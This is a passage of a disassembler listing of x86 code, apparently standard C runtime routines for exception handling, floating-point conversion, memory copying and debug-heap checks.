sub_41FFF0+8Dj ... mov esp, ebp pop ebp retn sub_41FFF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420130 proc near ; CODE XREF: sub_41E860+Cp ; DATA XREF: _2:off_45181Co push ebp mov ebp, esp push ebx push esi push edi call sub_420170 call sub_42C430 mov ds:dword_4F3340, eax call sub_42C3B0 fnclex pop edi pop esi pop ebx pop ebp retn sub_420130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420160 proc near ; DATA XREF: _2:00451820o _2:00451824o push ebp mov ebp, esp pop ebp retn sub_420160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420170 proc near ; CODE XREF: sub_420130+6p push ebp mov ebp, esp mov ds:off_454190, offset sub_42CB20 mov ds:off_454194, offset sub_42C530 mov ds:off_454198, offset sub_42C640 mov ds:off_45419C, offset sub_42C480 mov ds:off_4541A0, offset sub_42C610 mov ds:off_4541A4, offset sub_42CB20 pop ebp retn sub_420170 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_4F333C mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4F333C, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201DC proc near ; CODE XREF: sub_40D798+1Bp ; sub_40D798+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_4201DC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_420210(double) sub_420210 proc near ; CODE XREF: sub_40D7E4+79p ; sub_40E29B+398p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, ds:dword_451828 push eax call sub_42C2F0 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_4202CB mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_42C0F0 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_4202A2 cmp [ebp+var_10], 2 jle short loc_42026E cmp [ebp+var_10], 3 jz short loc_420287 jmp short loc_4202A2 ; --------------------------------------------------------------------------- loc_42026E: ; CODE XREF: sub_420210+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42C2F0 add esp, 8 fld [ebp+arg_0] jmp loc_420341 ; --------------------------------------------------------------------------- loc_420287: ; CODE XREF: sub_420210+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Ch ; int call sub_42B3B0 add esp, 10h jmp loc_420341 ; --------------------------------------------------------------------------- loc_4202A2: ; CODE XREF: sub_420210+4Ej ; sub_420210+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd ds:dbl_43CD98 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Ch ; int push 8 ; int call sub_42B480 add esp, 1Ch jmp short loc_420341 ; --------------------------------------------------------------------------- loc_4202CB: ; CODE XREF: sub_420210+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_42B390 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_420301 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42C2F0 add esp, 8 fld [ebp+var_8] jmp short loc_420341 ; --------------------------------------------------------------------------- loc_420301: ; CODE XREF: sub_420210+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_420321 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_42C2F0 add esp, 8 fld [ebp+var_8] jmp short loc_420341 ; --------------------------------------------------------------------------- loc_420321: ; CODE XREF: sub_420210+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Ch ; int push 10h ; int call sub_42B480 add esp, 1Ch loc_420341: ; CODE XREF: sub_420210+72j ; sub_420210+8Dj ... mov esp, ebp pop ebp retn sub_420210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420350 proc near ; CODE XREF: sub_42D250+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_420350 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420390 proc near ; CODE XREF: sub_42D730+50p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_420390 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4203A0 proc near ; CODE XREF: sub_42D4B0+247p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4203A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4203B0 proc near ; CODE XREF: sub_42D4B0+21Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4203B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4203C0 proc near ; CODE XREF: sub_420610+66p ; sub_42D250+38p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_4203EC push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_43ABA6 ; RtlUnwind loc_4203EC: ; DATA XREF: sub_4203C0+12o mov eax, [ebp+arg_4] mov ecx, [eax+4] and ecx, 0FFFFFFFDh mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_4203C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420420 proc near ; CODE XREF: _0:0043B834j _0:0043B84Ej ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_8], eax push 0 push 0 push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42CBB0 add esp, 20h mov [ebp+var_4], eax pop edi pop esi pop ebx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_420420 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+8] mov eax, [edx+28h] push eax push 0 mov ecx, [ebp+8] mov edx, [ecx+18h] push edx call sub_42D120 add esp, 10h pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420490 proc near ; CODE XREF: sub_42D310+8Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_14], 0 mov [ebp+var_10], offset sub_420500 mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov edx, [ebp+arg_C] add edx, 1 mov [ebp+var_4], edx mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_42D810 mov [ebp+var_18], eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+var_18] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420500 proc near ; DATA XREF: sub_420490+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+10h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx push 0 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_0] push edx call sub_42CBB0 add esp, 20h pop edi pop esi pop ebx pop ebp retn sub_420500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420540 proc near ; CODE XREF: sub_42CF40+2Dp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi mov [ebp+var_28], 0 mov [ebp+var_24], offset sub_420610 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov ecx, [ebp+arg_4] mov [ebp+var_1C], ecx mov edx, [ebp+arg_14] mov [ebp+var_18], edx mov eax, [ebp+arg_18] mov [ebp+var_14], eax mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov [ebp+var_4], 0 mov [ebp+var_10], offset loc_4205DC mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov ecx, [ebp+arg_0] mov [ebp+var_30], ecx mov edx, [ebp+arg_8] mov [ebp+var_2C], edx lea eax, [ebp+var_30] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_428EE0 call dword ptr [eax+68h] add esp, 8 mov [ebp+var_34], 0 loc_4205DC: ; DATA XREF: sub_420540+4Bo cmp [ebp+var_4], 0 jz short loc_4205F9 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_420602 ; --------------------------------------------------------------------------- loc_4205F9: ; CODE XREF: sub_420540+A0j mov eax, [ebp+var_28] mov large fs:0, eax loc_420602: ; CODE XREF: sub_420540+B7j mov eax, [ebp+var_34] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420610 proc near ; DATA XREF: sub_420540+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 66h test ecx, ecx jz short loc_420635 mov edx, [ebp+arg_4] mov dword ptr [edx+24h], 1 mov eax, 1 jmp short loc_42068C ; --------------------------------------------------------------------------- loc_420635: ; CODE XREF: sub_420610+12j push 1 mov eax, [ebp+arg_4] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] push edx push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_0] push eax call sub_42CBB0 add esp, 20h mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jnz short loc_42067B mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_4203C0 loc_42067B: ; CODE XREF: sub_420610+5Cj mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- mov eax, 1 loc_42068C: ; CODE XREF: sub_420610+23j pop edi pop esi pop ebx pop ebp retn sub_420610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A0 proc near ; CODE XREF: sub_42CCA0+135p ; sub_42CF40+52p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, [eax+10h] mov esi, [eax+0Ch] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] test ecx, ecx mov edi, esi mov ebx, esi jl short loc_4206F9 loc_4206BE: ; CODE XREF: sub_4206A0+54j cmp esi, 0FFFFFFFFh jnz short loc_4206C8 call sub_42D910 loc_4206C8: ; CODE XREF: sub_4206A0+21j mov eax, [ebp+var_4] dec esi mov ecx, [ebp+arg_8] lea edx, [esi+esi*4] lea eax, [eax+edx*4] cmp ecx, [eax+4] jle short loc_4206DF cmp ecx, [eax+8] jle short loc_4206E4 loc_4206DF: ; CODE XREF: sub_4206A0+38j cmp esi, 0FFFFFFFFh jnz short loc_4206EF loc_4206E4: ; CODE XREF: sub_4206A0+3Dj mov eax, [ebp+arg_4] mov edi, ebx dec eax mov ebx, esi mov [ebp+arg_4], eax loc_4206EF: ; CODE XREF: sub_4206A0+42j mov eax, [ebp+arg_4] test eax, eax jge short loc_4206BE mov eax, [ebp+arg_0] loc_4206F9: ; CODE XREF: sub_4206A0+1Cj mov ecx, [ebp+arg_C] mov edx, [ebp+arg_10] inc esi mov [ecx], esi mov [edx], edi cmp edi, [eax+0Ch] ja short loc_42070D cmp esi, edi jbe short loc_420712 loc_42070D: ; CODE XREF: sub_4206A0+67j call sub_42D910 loc_420712: ; CODE XREF: sub_4206A0+6Bj mov ecx, [ebp+var_4] lea eax, [esi+esi*4] pop edi pop esi lea eax, [ecx+eax*4] pop ebx mov esp, ebp pop ebp retn sub_4206A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420730 proc near ; CODE XREF: sub_423364+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_420748 push [ebp+arg_0] call sub_43ABA6 ; RtlUnwind loc_420748: ; DATA XREF: sub_420730+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420730 endp ; =============== S U B R O U T I N E ======================================= sub_420750 proc near ; DATA XREF: sub_420772+Ao ; sub_4207DA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_420771 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_420771: ; CODE XREF: sub_420750+10j retn sub_420750 endp ; =============== S U B R O U T I N E ======================================= sub_420772 proc near ; CODE XREF: sub_423364+67p ; sub_423364+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_420750 push large dword ptr fs:0 mov large fs:0, esp loc_42078F: ; CODE XREF: sub_420772:loc_4207CAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4207CC cmp esi, [esp+1Ch+arg_4] jz short loc_4207CC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4207CA push 101h mov eax, [ebx+esi*4+8] call sub_420806 call dword ptr [ebx+esi*4+8] loc_4207CA: ; CODE XREF: sub_420772+44j jmp short loc_42078F ; --------------------------------------------------------------------------- loc_4207CC: ; CODE XREF: sub_420772+2Aj ; sub_420772+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_420772 endp ; =============== S U B R O U T I N E ======================================= sub_4207DA proc near ; CODE XREF: sub_42D3ED+4Bp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_420750 jnz short locret_4207FC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4207FC mov eax, 1 locret_4207FC: ; CODE XREF: sub_4207DA+10j ; sub_4207DA+1Bj retn sub_4207DA endp ; =============== S U B R O U T I N E ======================================= sub_4207FD proc near ; CODE XREF: sub_42D810+1Ep ; sub_42D810+40p push ebx push ecx mov ebx, offset dword_45182C jmp short loc_420810 sub_4207FD endp ; =============== S U B R O U T I N E ======================================= sub_420806 proc near ; CODE XREF: sub_420772+4Fp ; sub_423364+78p push ebx push ecx mov ebx, offset dword_45182C mov ecx, [ebp+8] loc_420810: ; CODE XREF: sub_4207FD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_420806 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420820 proc near ; CODE XREF: sub_40D7E4+5p ; sub_40D95B+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_420820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420840 proc near ; CODE XREF: sub_40E03Bj ; sub_4241B0+590p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_420860 cmp edi, eax jb loc_4209D8 loc_420860: ; CODE XREF: sub_420840+16j test edi, 3 jnz short loc_42087C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_42089C rep movsd jmp off_420988[edx*4] ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420840+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_420894 and eax, 3 add ecx, eax jmp dword ptr loc_42089C+4[eax*4] ; --------------------------------------------------------------------------- loc_420894: ; CODE XREF: sub_420840+46j jmp dword ptr loc_420998[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_42089C: ; CODE XREF: sub_420840+31j ; sub_420840+8Ej ... jmp off_42091C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4208B0 dd offset loc_4208DC dd offset loc_420900 ; --------------------------------------------------------------------------- loc_4208B0: ; DATA XREF: sub_420840+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_42089C rep movsd jmp off_420988[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4208DC: ; DATA XREF: sub_420840+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_42089C rep movsd jmp off_420988[edx*4] ; --------------------------------------------------------------------------- align 10h loc_420900: ; DATA XREF: sub_420840+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_42089C rep movsd jmp off_420988[edx*4] ; --------------------------------------------------------------------------- align 4 off_42091C dd offset loc_42097F ; DATA XREF: sub_420840:loc_42089Cr dd offset loc_42096C dd offset loc_420964 dd offset loc_42095C dd offset loc_420954 dd offset loc_42094C dd offset loc_420944 dd offset loc_42093C ; --------------------------------------------------------------------------- loc_42093C: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_420944: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_42094C: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_420954: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_42095C: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_420964: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_42096C: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_42097F: ; CODE XREF: sub_420840:loc_42089Cj ; DATA XREF: sub_420840:off_42091Co jmp off_420988[edx*4] ; --------------------------------------------------------------------------- align 4 off_420988 dd offset loc_420998 ; DATA XREF: sub_420840+35r ; sub_420840+92r ... dd offset loc_4209A0 dd offset loc_4209AC dd offset loc_4209C0 ; --------------------------------------------------------------------------- loc_420998: ; CODE XREF: sub_420840+35j ; sub_420840+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4209A0: ; CODE XREF: sub_420840+35j ; sub_420840+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4209AC: ; CODE XREF: sub_420840+35j ; sub_420840+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4209C0: ; CODE XREF: sub_420840+35j ; sub_420840+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4209D8: ; CODE XREF: sub_420840+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_420A0C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_420A00 std rep movsd cld jmp off_420B20[edx*4] ; --------------------------------------------------------------------------- align 10h loc_420A00: ; CODE XREF: sub_420840+1B1j ; sub_420840+208j ... neg ecx jmp dword ptr loc_420ACF+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_420A0C: ; CODE XREF: sub_420840+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_420A24 and eax, 3 sub ecx, eax jmp dword ptr loc_420A24+4[eax*4] ; --------------------------------------------------------------------------- loc_420A24: ; CODE XREF: sub_420840+1D6j ; DATA XREF: sub_420840+1DDr jmp off_420B20[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_420A37+1 ; --------------------------------------------------------------------------- pop eax or al, [edx+0] or byte ptr [edx], 42h loc_420A37: ; DATA XREF: sub_420840+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_420A00 std rep movsd cld jmp off_420B20[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_420A00 std rep movsd cld jmp off_420B20[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_420A00 std rep movsd cld jmp off_420B20[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_420AD4 dd offset loc_420ADC dd offset loc_420AE4 dd offset loc_420AEC dd offset loc_420AF4 ; --------------------------------------------------------------------------- cld or al, [edx+0] add al, 0Bh inc edx loc_420ACF: ; DATA XREF: sub_420840+1C2r add [edi], dl or eax, [edx+0] loc_420AD4: ; DATA XREF: sub_420840+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_420ADC: ; DATA XREF: sub_420840+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_420AE4: ; DATA XREF: sub_420840+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_420AEC: ; DATA XREF: sub_420840+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_420AF4: ; DATA XREF: sub_420840+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_420B17: ; CODE XREF: sub_420840+1C2j jmp off_420B20[edx*4] ; --------------------------------------------------------------------------- align 10h off_420B20 dd offset loc_420B30 ; DATA XREF: sub_420840+1B7r ; sub_420840:loc_420A24r ... dd offset loc_420B38 dd offset loc_420B48 dd offset loc_420B5C ; --------------------------------------------------------------------------- loc_420B30: ; CODE XREF: sub_420840+1B7j ; sub_420840:loc_420A24j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_420B38: ; CODE XREF: sub_420840+1B7j ; sub_420840:loc_420A24j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_420B48: ; CODE XREF: sub_420840+1B7j ; sub_420840:loc_420A24j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_420B5C: ; CODE XREF: sub_420840+1B7j ; sub_420840:loc_420A24j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_420840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B80 proc near ; CODE XREF: sub_40E123+4p ; sub_43A5E0+1Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_420B92 jmp loc_420C1A ; --------------------------------------------------------------------------- loc_420B92: ; CODE XREF: sub_420B80+Bj push 9 call sub_423280 add esp, 4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_4], eax loc_420BA5: ; CODE XREF: sub_420B80+7Bj mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jz short loc_420BF7 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 1 jz short loc_420BF7 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jz short loc_420BF7 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 3 jz short loc_420BF7 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 2Fh push offset dword_43CDA0 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_420BF7 int 3 ; Trap to Debugger loc_420BF7: ; CODE XREF: sub_420B80+34j 